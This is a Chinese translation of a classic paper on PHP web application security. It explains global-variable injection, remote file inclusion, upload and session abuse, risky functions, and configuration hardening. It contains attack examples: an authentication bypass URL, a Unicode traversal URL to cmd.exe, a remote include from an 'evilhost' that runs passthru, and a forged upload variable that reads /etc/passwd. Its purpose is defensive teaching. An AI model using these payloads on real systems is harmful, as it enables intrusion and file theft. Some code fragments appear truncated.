之所以翻譯這篇文章，是因為目前關于CGI安全性的文章都是拿Perl作為例子，而專門介紹ASP，PHP或者JSP安全性的文章則很少。Shaun Clowes的這篇文章比較全面地介紹了PHP的安全問題，原文可以http://www.securereality.com.au/studyinscarlet.txt找到。
由于原文比較長，而且有相當一部分是介紹文章的背景或PHP的基礎知識，沒有涉及到PHP安全方面的內容，因此我沒有翻譯。如果你想了解這方面的知識，請參考原文。 文章主要從全局變量，遠程文件，文件上載，庫文件，Session文件，數據類型和容易出錯的函數這幾個方面分析了PHP的安全性，并且對如何增強PHP的安全性提出了一些有用的建議。 好了，廢話少說，我們言歸正傳！ [全局變量] 很顯然，基于PHP的應用程序的主函數一般都是接受用戶的輸入（主要是表單變量，上載文件和Cookie等），然后對輸入數據進行處理，然后把結果返回到客戶端瀏覽器。為了使PHP代碼訪問用戶的輸入盡可能容易，實際上PHP是把這些輸入數據看作全局變量來處理的。 例如：
PHP中的變量不需要事先聲明，它們會在第一次使用時自動創建，它們的類型也不需要指定，它們會根據上下文環境自動確定。從程序員的角度來看，這無疑是一種極其方便的處理方法。很顯然，這也是快速開發語言的一個很有用的特點。一旦一個變量被創建了，就可以在程序中的任何地方使用。這個特點導致的結果就是程序員很少初始化變量，畢竟，當它們第一次創建時，他們是空的。
很顯然，這會顯示一個文本框和提交按鈕。當用戶點擊提交按鈕時，“test.php”會處理用戶的輸入，當“test.php”運行時，“$hello”會包含用戶在文本框輸入的數據。從這里我們應該看出，攻擊者可以按照自己的意愿創建任意的全局變量。如果攻擊者不是通過表單輸入來調用“test.php”，而是直接在瀏覽器地址欄輸http://server/test.php?hello=hi&setup=no，那么，不止是“$hello”被創建，“$setup”也被創建了。
譯者注：這兩種方法也就是我們通常說的“POST”和“GET”方法。
下面的用戶認證代碼暴露了PHP的全局變量所導致的安全問題：
if ($pass == "hello")
$auth = 1;
...
if ($auth == 1)
echo "some important information";
?>
上面的代碼首先檢查用戶的密碼是否為“hello”，如果匹配的話，設置“$auth”為“1”，即通過認證。之后如果“$suth”為“1”的話，就會顯示一些重要信息。
表面看起來是正確的，而且我們中有相當一部分人是這樣做的，但是這段代碼犯了想當然的錯誤，它假定“$auth”在沒有設置值的時候是空的，卻沒有想到攻擊者可以創建任何全局變量并賦值，通過類似http://server/test.php?auth=1”的方法，我們完全可以欺騙這段代碼，使它相信我們是已經認證過的。
因此，為了提高PHP程序的安全性，我們不能相信任何沒有明確定義的變量。如果程序中的變量很多的話，這可是一項非常艱巨的任務。
一種常用的保護方式就是檢查數組HTTP_GET[]或POST_VARS[]中的變量，這依賴于我們的提交方式（GET或POST）。當PHP配置為打開“track_vars”選項的話（這是缺省值），用戶提交的變量就可以在全局變量和上面提到的數組中獲得。
但是值得說明的是，PHP有四個不同的數組變量用來處理用戶的輸入。HTTP_GET_VARS數組用來處理GET方式提交的變量，HTTP_POST_VARS數組用于處理POST方式提交的變量，HTTP_COOKIE_VARS數組用于處理作為cookie頭提交的變量，而對于HTTP_POST_FILES數組（比較新的PHP才提供），則完全是用戶用來提交變量的一種可選方式。用戶的一個請求可以很容易的把變量存在這四個數組中，因此一個安全的PHP程序應該檢查這四個數組。
[遠程文件]
PHP是一種具有豐富特性的語言，提供了大量的函數，使編程者實現某個功能很容易。但是從安全的角度來看，功能越多，要保證它的安全性就越難，遠程文件就是說明這個問題的一個很好的例子：
if (!($fd = fopen("$filename", "r"))
echo("Could not open file: $filename
\n");
?>
上面的腳本試圖打開文件“$filename”，如果失敗就顯示錯誤信息。很明顯，如果我們能夠指定“$filename”的話，就能利用這個腳本瀏覽系統中的任何文件。但是，這個腳本還存在一個不太明顯的特性，那就是它可以從任何其它WEB或FTP站點讀取文件。實際上，PHP的大多數文件處理函數對遠程文件的處理是透明的。
例如：
如果指定“$filename”為http://target/scripts/..%c1%1c../winnt/system32/cmd.exe?/c+dir”
則上面的代碼實際上是利用主機target上的unicode漏洞，執行了dir命令。
這使得支持遠程文件的include()，require()，include_once()和require_once()在上下文環境中變得更有趣。這些函數主要功能是包含指定文件的內容，并且把它們按照PHP代碼解釋，主要是用在庫文件上。
例如：
include($libdir . "/languages.php");
?>
上例中“$libdir”一般是一個在執行代碼前已經設置好的路徑，如果攻擊者能夠使得“$libdir”沒有被設置的話，那么他就可以改變這個路徑。但是攻擊者并不能做任何事情，因為他們只能在他們指定的路徑中訪問文件languages.php（perl中的“Poison null byte”攻擊對PHP沒有作用）。但是由于有了對遠程文件的支持，攻擊者就可以做任何事情。例如，攻擊者可以在某臺服務器上放一個文件languages.php，包含如下內容：
passthru("/bin/ls /etc");
?>
然后把“$libdir”設置為http://<;evilhost>/”，這樣我們就可以在目標主機上執行上面的攻擊代碼，“/etc”目錄的內容作為結果返回到客戶的瀏覽器中。
需要注意的是，攻擊服務器（也就是evilhost）應該不能執行PHP代碼，否則攻擊代碼會在攻擊服務器，而不是目標服務器執行，如果你想了解具體的技術細節，請參考http://www.securereality.com.au/sradv00006.txt
[文件上載]
PHP自動支持基于RFC 1867的文件上載，我們看下面的例子：
上面的代碼讓用戶從本地機器選擇一個文件，當點擊提交后，文件就會被上載到服務器。這顯然是很有用的功能，但是PHP的響應方式使這項功能變的不安全。當PHP第一次接到這種請求，甚至在它開始解析被調用的PHP代碼之前，它會先接受遠程用戶的文件，檢查文件的長度是否超過“$MAX_FILE_SIZE variable”定義的值，如果通過這些測試的話，文件就會被存在本地的一個臨時目錄中。
因此，攻擊者可以發送任意文件給運行PHP的主機，在PHP程序還沒有決定是否接受文件上載時，文件已經被存在服務器上了。
這里我就不討論利用文件上載來對服務器進行DOS攻擊的可能性了。
讓我們考慮一下處理文件上載的PHP程序，正如我們上面說的，文件被接收并且存在服務器上（位置是在配置文件中指定的，一般是/tmp），擴展名一般是隨機的，類似“phpxXuoXG”的形式。PHP程序需要上載文件的信息以便處理它，這可以通過兩種方式，一種方式是在PHP 3中已經使用的，另一種是在我們對以前的方法提出安全公告后引入的。
但是，我們可以肯定的說，問題還是存在的，大多數PHP程序還是使用老的方式來處理上載文件。PHP設置了四個全局變量來描述上載文件，比如說上面的例子：
$hello = Filename on local machine (e.g "/tmp/phpxXuoXG")
$hello_size = Size in bytes of file (e.g 1024)
$hello_name = The original name of the file on the remote system (e.g "c:\\temp\\hello.txt")
$hello_type = Mime type of uploaded file (e.g "text/plain")
然后PHP程序開始處理根據“$hello”指定的文件，問題在于“$hello”不一定是一個PHP設置的變量，任何遠程用戶都可以指定它。如果我們使用下面的方式：
http://vulnhost/vuln.php?hello=/ ... ello_name=hello.txt
就導致了下面的PHP全局變量（當然POST方式也可以（甚至是Cookie））：
$hello = "/etc/passwd"
$hello_size = 10240
$hello_type = "text/plain"
$hello_name = "hello.txt"
上面的表單數據正好滿足了PHP程序所期望的變量，但是這時PHP程序不再處理上載的文件，而是處理“/etc/passwd”（通常會導致內容暴露）。這種攻擊可以用于暴露任何敏感文件的內容。
我在前面已經說了，新版本的PHP使用HTTP_POST_FILES[]來決定上載文件，同時也提供了很多函數來解決這個問題，例如有一個函數用來判斷某個文件是不是實際上載的文件。這些函數很好的解決了這個問題，但是實際上肯定有很多PHP程序仍然使用舊的方法，很容易受到這種攻擊。
作為文件上載的攻擊方法的一個變種，我們看一下下面的一段代碼：
if (file_exists($theme)) // Checks the file exists on the local system (no remote files)
include("$theme");
?>
如果攻擊者可以控制“$theme”的話，很顯然它可以利用“$theme”來讀取遠程系統上的任何文件。攻擊者的最終目標是在遠程服務器上執行任意指令，但是他無法使用遠程文件，因此，他必須得在遠程服務器上創建一個PHP文件。這乍看起來好象是不可能的，但是文件上載幫了我們這個忙，如果攻擊者先在本地機器上創建一個包含PHP代碼的文件，然后創建一個包含名為“theme”的文件域的表單，最后用這個表單通過文件上載把創建的包含PHP代碼的文件提交給上面的代碼，PHP就會把攻擊者提交的文件保存起來，并把“$theme”的值設置為攻擊者提交的文件，這樣file_exists()函數會檢查通過，攻擊者的代碼也將執行。
獲得執行任意指令的能力之后，攻擊者顯然想提升權限或者是擴大戰果，而這又需要一些服務器上沒有的工具集，而文件上載又一次幫了我們這個忙。攻擊者可以使用文件上載功能上載工具，把她們存在服務器上，然后利用他們執行指令的能力，使用chmod()改變文件的權限，然后執行。例如：攻擊者可以繞過防火墻或IDS上載一個本地root攻擊程序，然后執行，這樣就獲得了root權限。
[庫文件]
正如我們前面討論的那樣，include()和require()主要是為了支持代碼庫，因為我們一般是把一些經常使用的函數放到一個獨立的文件中，這個獨立的文件就是代碼庫，當需要使用其中的函數時，我們只要把這個代碼庫包含到當前的文件中就可以了。
最初，人們開發和發布PHP程序的時候，為了區別代碼庫和主程序代碼，一般是為代碼庫文件設置一個“.inc”的擴展名，但是他們很快發現這是一個錯誤，因為這樣的文件無法被PHP解釋器正確解析為PHP代碼。如果我們直接請求服務器上的這種文件時，我們就會得到該文件的源代碼，這是因為當把PHP作為Apache的模塊使用時，PHP解釋器是根據文件的擴展名來決定是否解析為PHP代碼的。擴展名是站點管理員指定的，一般是“.php”， “.php3”和“.php4”。如果重要的配置數據被包含在沒有合適的擴展名的PHP文件中，那么遠程攻擊者很容易得到這些信息。
最簡單的解決方法就是給每個文件都指定一個PHP文件的擴展名，這樣可以很好的防止泄露源代碼的問題，但是又產生了新的問題，通過請求這個文件，攻擊者可能使本該在上下文環境中運行的代碼獨立運行，這可能導致前面討論的全部攻擊。
下面是一個很明顯的例子：
In main.php:
$libDir = "/libdir";
$langDir = "$libdir/languages";
...
include("$libdir/loadlanguage.php":
?>
In libdir/loadlanguage.php:
...
include("$langDir/$userLang");
?>
當“libdir/loadlanguage.php”被“main.php”調用時是相當安全的，但是因為“libdir/loadlanguage”具有“.php”的擴展名，因此遠程攻擊者可以直接請求這個文件，并且可以任意指定“$langDir”和“$userLang”的值。
[Session文件]
PHP 4或更新的版本提供了對sessions的支持，它的主要作用是在PHP程序中保存頁與頁之間的狀態信息。例如，當一個用戶登陸進入網站，他登陸了這個事實以及誰登陸進入這個網站都被保存在session中，當他在網站中到處瀏覽時，所有的PHP代碼都可以獲得這些狀態信息。
事實上，當一個session啟動時（實際上是在配置文件中設置為在第一次請求時自動啟動），就會生成一個隨機的“session id”，如果遠程瀏覽器總是在發送請求時提交這個“session id”的話，session就會一直保持。這通過Cookie很容易實現，也可以通過在每頁提交一個表單變量（包含“session id”）來實現。PHP程序可以用session注冊一個特殊的變量，它的值會在每個PHP腳本結束后存在session文件中，也會在每個PHP腳本開始前加載到變量中。下面是一個簡單的例子：
session_destroy(); // Kill any data currently in the session
$session_auth = "shaun";
session_register("session_auth"); // Register $session_auth as a session variable
?>
新版本的PHP都會自動把“$session_auth”的值設置為“shaun”，如果它們被修改的話，以后的腳本都會自動接受修改后的值，這對無狀態的Web來說的確是種很不錯的工具，但是我們也應該小心。
一個很明顯的問題就是確保變量的確來自session，例如，給定上面的代碼，如果后續的腳本是下面這樣的話：
if (!empty($session_auth))
// Grant access to site here
?>
上面的代碼假定如果“$session_auth”被置位的話，就是從session，而不是從用戶輸入來置位的，如果攻擊者通過表單輸入來置位的話，他就可以獲得對站點的訪問權。注意攻擊者必須在session注冊該變量之前使用這種攻擊方法，一旦變量被放進了session，就會覆蓋任何表單輸入。
Session數據一般是保存在文件中（位置是可配置的，一般是“/tmp”），文件名一般是類似“sess_
Session機制也為攻擊者把自己的輸入保存在遠程系統的文件中提供了另一個方便的地方，對于上面的例子來說，攻擊者需要在遠程系統放置一個包含PHP代碼的文件，如果不能利用文件上載做到的話，他通常會利用session為一個變量按照自己的意愿賦一個值，然后猜測session文件的位置，而他知道文件名是“php
另外，攻擊者可以任意指定“session id”（例如“hello”），然后用這個“session id”創建一個session文件（例如“/tmp/sess_hello”），但是“session id”只能是字母和數字組合。
[數據類型]
PHP具有比較松散的數據類型，變量的類型依賴于它們所處的上下文環境。例如：“$hello”開始是字符串變量，值為“”，但是在求值時，就變成了整形變量“0”，這有時可能會導致一些意想不到的結果。如果“$hello”的值為“000”還是為“0”是不同的，empty()返回的結果也不會為真。
PHP中的數組是關聯數組，也就是說，數組的索引是字符串型的。這意味著“$hello["000"]”和“$hello[0]”也是不同的。
開發程序的時候應該仔細地考慮上面的問題，例如，我們不應該在一個地方測試某個變量是否為“0”，而在另外的地方使用empty()來驗證。
[容易出錯的函數]
我們在分析PHP程序中的漏洞時，如果能夠拿到源代碼的話，那么一份容易出錯的函數列表則是我們非常需要的。如果我們能夠遠程改變這些函數的參數的話，那么我們就很可能發現其中的漏洞。下面是一份比較詳細的容易出錯的函數列表：
require()：讀取指定文件的內容并且作為PHP代碼解釋
include()：同上
eval()：把給定的字符串作為PHP代碼執行
preg_replace()：當與“/e”開關一起使用時，替換字符串將被解釋為PHP代碼
<命令執行>
exec()：執行指定的命令，返回執行結果的最后一行
passthru()：執行指定命令，返回所有結果到客戶瀏覽器
``：執行指定命令，返回所有結果到一個數組
system()：同passthru()，但是不處理二進制數據
popen()：執行指定的命令，把輸入或輸出連接到PHP文件描述符
<文件泄露>
fopen()：打開文件，并對應一個PHP文件描述符
readfile()：讀取文件的內容，然后輸出到客戶瀏覽器
file()：把整個文件內容讀到一個數組中
譯者注：其實這份列表還不是很全，比如“mail()”等命令也可能執行命令，所以需要自己補充一下。
[如何增強PHP的安全性]
我在上面介紹的所有攻擊對于缺省安裝的PHP 4都可以很好的實現，但是我已經重復了很多次，PHP的配置非常靈活，通過配置一些PHP選項，我們完全可能抵抗其中的一些攻擊。下面我按照實現的難度對一些配置進行了分類：
*低難度
**中低難度
***中高難度
****高難度
上面的分類只是個人的看法，但是我可以保證，如果你使用了PHP提供的所有選項的話，那么你的PHP將是很安全的，即使是第三方的代碼也是如此，因為其中很多功能已經不能使用。
**** 設置“register_globals”為“off”
這個選項會禁止PHP為用戶輸入創建全局變量，也就是說，如果用戶提交表單變量“hello”，PHP不會創建“$ hello”，而只會創建“HTTP_GET/POST_VARS[hello]”。這是PHP中一個極其重要的選項，關閉這個選項，會給編程帶來很大的不便。
*** 設置“safe_mode”為“on”
打開這個選項，會增加如下限制：
1． 限制哪個命令可以被執行
2． 限制哪個函數可以被使用
3． 基于腳本所有權和目標文件所有權的文件訪問限制
4． 禁止文件上載功能
這對于ISP來說是一個偉大的選項，同時它也能極大地改進PHP的安全性。
** 設置“open_basedir”
這個選項可以禁止指定目錄之外的文件操作，有效地消除了本地文件或者是遠程文件被include()的攻擊，但是仍需要注意文件上載和session文件的攻擊。
** 設置“display_errors”為“off”，設置“log_errors”為“on”
這個選項禁止把錯誤信息顯示在網頁中，而是記錄到日志文件中，這可以有效的抵制攻擊者對目標腳本中函數的探測。
* 設置“allow_url_fopen”為“off”
這個選項可以禁止遠程文件功能，極力推薦！
